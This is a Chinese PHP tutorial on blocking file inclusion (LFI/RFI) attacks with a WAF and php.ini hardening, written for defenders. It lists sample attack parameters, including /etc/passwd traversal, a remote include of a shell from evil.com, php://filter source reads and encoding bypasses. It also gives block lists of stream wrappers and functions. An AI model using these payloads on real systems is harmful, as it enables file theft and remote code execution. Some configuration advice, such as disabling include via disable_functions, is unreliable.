PHP8.4.5 怎么利用 WAF 拦截文件包含攻击-php教程-PHP中文网

WAF拦截PHP 8.4.5的LFI/RFI攻击核心在于识别恶意请求特征而非适配版本，需启用专用规则集、封禁高危协议与函数调用、收紧PHP配置并针对性加固绕过手法。

php8.4.5 怎么利用 waf 拦截文件包含攻击

WAF 拦截 PHP 8.4.5 的文件包含攻击（LFI/RFI），核心不是适配 PHP 版本，而是识别攻击请求中的典型行为特征，并在流量到达 PHP 解释器前完成阻断。PHP 8.4.5 本身不改变 LFI 的利用逻辑，但部分新特性（如更严格的 open_basedir 默认行为、allow_url_include=Off 强制默认）可降低风险，WAF 则负责兜底防护。

重点拦截目标是攻击者构造的恶意参数，例如：
?file=../../../../etc/passwd
?page=http://evil.com/shell.txt
?include=php://filter/read=convert.base64-encode/resource=config.php

一、启用并验证 LFI/RFI 专用规则集

主流 WAF 均内置针对文件包含的语义化检测规则，无需手动写正则：

ModSecurity + OWASP CRS v4.x：确认已加载 REQUEST-930-APPLICATION-ATTACK-LFI.conf 和 REQUEST-931-APPLICATION-ATTACK-RFI.conf；默认开启，检查日志中是否有 id "930100" 或 "931100" 的匹配记录。
云 WAF（阿里云/腾讯云/Cloudflare）：在控制台打开「文件包含防护」或「路径遍历阻断」策略，确保动作设为「拦截」而非「观察」。
Nginx + lua-resty-waf：确认规则库含以下检测项：
- ../、..\、%2e%2e%2f 等多编码上级目录跳转
- php://、file://、http://、https://、data:// 等协议头出现在参数值中
- filter/read=、filter/convert.、input:// 等伪协议变体

✅ 验证方式：用 curl "https://yoursite.com/?f=../../etc/passwd" 测试，应返回 403 且 WAF 日志记录匹配 ID。

二、封禁高危协议与危险函数调用特征

即使未直接触发 LFI，攻击者常通过 include()、require()、file_get_contents() 等函数配合用户输入实现包含。WAF 可拦截其常见调用痕迹：

拦截参数中出现以下字符串（大小写混写、URL 编码、空格替换均需覆盖）：
php://、file://、data://、expect://、glob://
include(、require(、include_once(、require_once(
base64_decode(、gzinflate(、str_rot13(（常用于解密后门）
拦截异常路径模式：
- 连续多个 ../ 或 ..%2f 超过 3 层
- 参数值以 / 开头但非白名单路径（如 /static/、/templates/）
- 出现在 User-Agent、Referer、Cookie 中的路径片段（隐蔽 LFI 常见手法）

⚠️ 注意：不要仅依赖 args contains "../"，需结合 SecRule ARGS|ARGS_NAMES|REQUEST_COOKIES|REQUEST_HEADERS "!@rx ^[a-zA-Z0-9._/-]+$" 等格式校验规则增强鲁棒性。

PHP 8.5.12
修复 Core bailout 状态损坏安全问题，以及 BZ2、DOM、PDO、Opcache/JIT 内存与执行错误，改进 Unicode 字素处理、URL 解析、TLS 流状态、信号分发及会话错误处理。

下载

三、收紧 PHP 环境配置作为 WAF 补充

WAF 是第一道网关，PHP 层配置是关键纵深防御：

在 php.ini 中强制设置：

allow_url_include = Off  
open_basedir = "/var/www/html:/tmp"  ; 限定可访问根目录，不含 /etc /proc /dev  
disable_functions = include, require, include_once, require_once, file_get_contents, readfile, fopen

若业务不用动态包含，直接删除所有 include($_GET['xxx']) 类代码，改用白名单映射：

$whitelist = ['header', 'footer', 'about'];  
$file = $_GET['page'] ?? '';  
if (in_array($file, $whitelist)) { include "pages/{$file}.php"; }

四、针对绕过手法做针对性加固

攻击者常用以下方式绕过基础 WAF 检测，需在规则中显式覆盖：

编码混淆：%2e%2e%2f、..%c0%af、..%c0%9v（Unicode 路径遍历）
空字节截断：/etc/passwd%00.jpg（PHP 8.4 已默认禁用，但仍需 WAF 拦截）
伪协议嵌套：php://filter/convert.base64-encode/resource=php://input
变量拼接：$a='etc'; $b='passwd'; include($a.'/'.$b); → WAF 应检测 php:// 出现在 POST body 或 JSON 字段中